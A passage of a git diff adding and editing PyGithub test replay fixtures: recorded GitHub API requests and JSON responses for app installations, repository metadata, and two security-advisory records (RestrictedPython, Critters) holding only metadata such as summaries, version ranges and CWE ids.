Github/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-19T02:15:49Z","pushed_at":"2023-06-18T23:07:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":14088,"stargazers_count":6075,"watchers_count":6075,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1641,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":247,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1641,"open_issues":247,"watchers":6075,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":false},"temp_clone_token":"","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1641,"subscribers_count":115} diff --git a/tests/ReplayData/GithubIntegration.testGetInstallationWithExpiredJWT.txt b/tests/ReplayData/GithubIntegration.testGetInstallationWithExpiredJWT.txt index aae0ca58cd..f17b5e2c23 100644 --- a/tests/ReplayData/GithubIntegration.testGetInstallationWithExpiredJWT.txt +++ b/tests/ReplayData/GithubIntegration.testGetInstallationWithExpiredJWT.txt @@ -8,4 +8,3 @@ None 401 [('status', '401 UNAUTHORIZED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"'Expiration time' claim ('exp') must be a numeric value representing the future time at which the assertion expires","documentation_url":"https://docs.github.com/rest"} - diff --git a/tests/ReplayData/GithubIntegration.testGetInstallations.txt b/tests/ReplayData/GithubIntegration.testGetInstallations.txt index 762608ab0f..e1f4058094 100644 --- a/tests/ReplayData/GithubIntegration.testGetInstallations.txt +++ b/tests/ReplayData/GithubIntegration.testGetInstallations.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] [{"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null},{"id":30614431,"account":{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614431/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/30614431","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":29196434,"target_type":"User","permissions":{"issues":"write","metadata":"read","administration":"write"},"events":[],"created_at":"2022-10-26T11:13:03.000Z","updated_at":"2022-10-26T11:13:03.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] - diff --git a/tests/ReplayData/GithubIntegration.testGetOrgInstallation.txt b/tests/ReplayData/GithubIntegration.testGetOrgInstallation.txt index 229f163397..d36c3211af 100644 --- a/tests/ReplayData/GithubIntegration.testGetOrgInstallation.txt +++ b/tests/ReplayData/GithubIntegration.testGetOrgInstallation.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null} - diff --git a/tests/ReplayData/GlobalAdvisory.testAttributes.txt b/tests/ReplayData/GlobalAdvisory.testAttributes.txt new file mode 100644 index 0000000000..d2e349dd63 --- /dev/null +++ b/tests/ReplayData/GlobalAdvisory.testAttributes.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/advisories/GHSA-wqc8-x2pr-7jqh +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Fri, 28 Jul 2023 15:45:01 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"16da74fc86f276cf5a9a88af936c110c3cdd7122261ec3c77e1eedf669665da8"'), ('Last-Modified', 'Thu, 20 Jul 2023 18:59:27 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4999'), ('X-RateLimit-Reset', '1690562701'), ('X-RateLimit-Used', '1'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E388:5C10:369FC9:6E4C05:64C3E27D')] +{"ghsa_id":"GHSA-wqc8-x2pr-7jqh","cve_id":"CVE-2023-37271","url":"https://api.github.com/advisories/GHSA-wqc8-x2pr-7jqh","html_url":"https://github.com/advisories/GHSA-wqc8-x2pr-7jqh","summary":"RestrictedPython vulnerable to arbitrary code execution via stack frame sandbox escape","description":"### Impact\n\nRestrictedPython does not check access to stack frames...","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/zopefoundation/RestrictedPython/security-advisories/GHSA-wqc8-x2pr-7jqh","source_code_location":"https://github.com/zopefoundation/RestrictedPython","identifiers":[{"value":"GHSA-wqc8-x2pr-7jqh","type":"GHSA"},{"value":"CVE-2023-37271","type":"CVE"}],"references":["https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-wqc8-x2pr-7jqh","https://github.com/zopefoundation/RestrictedPython/commit/c8eca66ae49081f0016d2e1f094c3d72095ef531","https://nvd.nist.gov/vuln/detail/CVE-2023-37271","https://github.com/pypa/advisory-database/tree/main/vulns/restrictedpython/PYSEC-2023-118.yaml","https://github.com/advisories/GHSA-wqc8-x2pr-7jqh"],"published_at":"2023-07-10T21:53:22Z","updated_at":"2023-07-20T18:59:27Z","github_reviewed_at":"2023-07-10T21:53:22Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"RestrictedPython"},"vulnerable_version_range":"< 5.3","first_patched_version":"5.3","vulnerable_functions":[]},{"package":{"ecosystem":"pip","name":"RestrictedPython"},"vulnerable_version_range":">= 6.0a1.dev0, < 6.1","first_patched_version":"6.1","vulnerable_functions":[]},{"package":{"ecosystem":"pip","name":"restrictedpython"},"vulnerable_version_range":">= 0, < 5.3","first_patched_version":"5.3","vulnerable_functions":[]}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4},"cwes":[{"cwe_id":"CWE-913","name":"Improper Control of Dynamically-Managed Code Resources"}],"credits":[{"user":{"login":"loechel","id":1766708,"node_id":"MDQ6VXNlcjE3NjY3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1766708?v=4","gravatar_id":"","url":"https://api.github.com/users/loechel","html_url":"https://github.com/loechel","followers_url":"https://api.github.com/users/loechel/followers","following_url":"https://api.github.com/users/loechel/following{/other_user}","gists_url":"https://api.github.com/users/loechel/gists{/gist_id}","starred_url":"https://api.github.com/users/loechel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/loechel/subscriptions","organizations_url":"https://api.github.com/users/loechel/orgs","repos_url":"https://api.github.com/users/loechel/repos","events_url":"https://api.github.com/users/loechel/events{/privacy}","received_events_url":"https://api.github.com/users/loechel/received_events","type":"User","site_admin":false},"type":"remediation_developer"},{"user":{"login":"Quasar0147","id":102931302,"node_id":"U_kgDOBiKbZg","avatar_url":"https://avatars.githubusercontent.com/u/102931302?v=4","gravatar_id":"","url":"https://api.github.com/users/Quasar0147","html_url":"https://github.com/Quasar0147","followers_url":"https://api.github.com/users/Quasar0147/followers","following_url":"https://api.github.com/users/Quasar0147/following{/other_user}","gists_url":"https://api.github.com/users/Quasar0147/gists{/gist_id}","starred_url":"https://api.github.com/users/Quasar0147/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Quasar0147/subscriptions","organizations_url":"https://api.github.com/users/Quasar0147/orgs","repos_url":"https://api.github.com/users/Quasar0147/repos","events_url":"https://api.github.com/users/Quasar0147/events{/privacy}","received_events_url":"https://api.github.com/users/Quasar0147/received_events","type":"User","site_admin":false},"type":"reporter"},{"user":{"login":"despawningbone","id":22096984,"node_id":"MDQ6VXNlcjIyMDk2OTg0","avatar_url":"https://avatars.githubusercontent.com/u/22096984?v=4","gravatar_id":"","url":"https://api.github.com/users/despawningbone","html_url":"https://github.com/despawningbone","followers_url":"https://api.github.com/users/despawningbone/followers","following_url":"https://api.github.com/users/despawningbone/following{/other_user}","gists_url":"https://api.github.com/users/despawningbone/gists{/gist_id}","starred_url":"https://api.github.com/users/despawningbone/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/despawningbone/subscriptions","organizations_url":"https://api.github.com/users/despawningbone/orgs","repos_url":"https://api.github.com/users/despawningbone/repos","events_url":"https://api.github.com/users/despawningbone/events{/privacy}","received_events_url":"https://api.github.com/users/despawningbone/received_events","type":"User","site_admin":false},"type":"reporter"},{"user":{"login":"dataflake","id":1215784,"node_id":"MDQ6VXNlcjEyMTU3ODQ=","avatar_url":"https://avatars.githubusercontent.com/u/1215784?v=4","gravatar_id":"","url":"https://api.github.com/users/dataflake","html_url":"https://github.com/dataflake","followers_url":"https://api.github.com/users/dataflake/followers","following_url":"https://api.github.com/users/dataflake/following{/other_user}","gists_url":"https://api.github.com/users/dataflake/gists{/gist_id}","starred_url":"https://api.github.com/users/dataflake/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dataflake/subscriptions","organizations_url":"https://api.github.com/users/dataflake/orgs","repos_url":"https://api.github.com/users/dataflake/repos","events_url":"https://api.github.com/users/dataflake/events{/privacy}","received_events_url":"https://api.github.com/users/dataflake/received_events","type":"User","site_admin":false},"type":"coordinator"},{"user":{"login":"nneonneo","id":75449,"node_id":"MDQ6VXNlcjc1NDQ5","avatar_url":"https://avatars.githubusercontent.com/u/75449?v=4","gravatar_id":"","url":"https://api.github.com/users/nneonneo","html_url":"https://github.com/nneonneo","followers_url":"https://api.github.com/users/nneonneo/followers","following_url":"https://api.github.com/users/nneonneo/following{/other_user}","gists_url":"https://api.github.com/users/nneonneo/gists{/gist_id}","starred_url":"https://api.github.com/users/nneonneo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nneonneo/subscriptions","organizations_url":"https://api.github.com/users/nneonneo/orgs","repos_url":"https://api.github.com/users/nneonneo/repos","events_url":"https://api.github.com/users/nneonneo/events{/privacy}","received_events_url":"https://api.github.com/users/nneonneo/received_events","type":"User","site_admin":false},"type":"other"}]} diff --git a/tests/ReplayData/GlobalAdvisory.testNewlyReleased.txt b/tests/ReplayData/GlobalAdvisory.testNewlyReleased.txt new file mode 100644 index 0000000000..9c34e99bd4 --- /dev/null +++ b/tests/ReplayData/GlobalAdvisory.testNewlyReleased.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/advisories/GHSA-cx3j-qqxj-9597 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Fri, 11 Aug 2023 20:52:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e32239d940bc2b370ba81f10e8e3002739d5132adea1caa84148b98475fe7d4e"'), ('Last-Modified', 'Fri, 11 Aug 2023 18:57:54 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1691789072'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '86FA:9C0A:1F6A7B4:4032C2B:64D69F91')] +{"ghsa_id":"GHSA-cx3j-qqxj-9597","cve_id":"CVE-2023-3481","url":"https://api.github.com/advisories/GHSA-cx3j-qqxj-9597","html_url":"https://github.com/advisories/GHSA-cx3j-qqxj-9597","summary":"Critters Cross-site Scripting Vulnerability","description":"### Impact\nCritters version 0.0.17-0.0.19 have an issue when parsing...","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/GoogleChromeLabs/critters/security-advisories/GHSA-cx3j-qqxj-9597","source_code_location":"https://github.com/GoogleChromeLabs/critters","identifiers":[{"value":"GHSA-cx3j-qqxj-9597","type":"GHSA"},{"value":"CVE-2023-3481","type":"CVE"}],"references":["https://github.com/GoogleChromeLabs/critters/security/advisories/GHSA-cx3j-qqxj-9597","https://github.com/GoogleChromeLabs/critters/pull/133","https://github.com/GoogleChromeLabs/critters/commit/7757902c9e0b3285d516359b3cb602cd9d50d80e","https://github.com/advisories/GHSA-cx3j-qqxj-9597"],"published_at":"2023-08-11T18:57:53Z","updated_at":"2023-08-11T18:57:54Z","github_reviewed_at":"2023-08-11T18:57:53Z","nvd_published_at":null,"withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"critters"},"vulnerable_version_range":">= 0.0.17, <= 0.0.19","first_patched_version":"0.0.20","vulnerable_functions":[]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-80","name":"Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)"},{"cwe_id":"CWE-116","name":"Improper Encoding or Escaping of Output"}],"credits":[]} diff --git a/tests/ReplayData/GraphQl.testDefaultUrl.txt b/tests/ReplayData/GraphQl.testDefaultUrl.txt new file mode 100644 index 0000000000..c520343081 --- /dev/null +++ b/tests/ReplayData/GraphQl.testDefaultUrl.txt @@ -0,0 +1,32 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8d3a8781cb083ecf6b9194272a6522af705bd0d8c5bbaa959618b6d51725387e"'), ('Last-Modified', 'Sat, 20 Jan 2024 06:37:31 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B70C:505BC:14BDE07A:14F6AE81:65AB9959')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":fa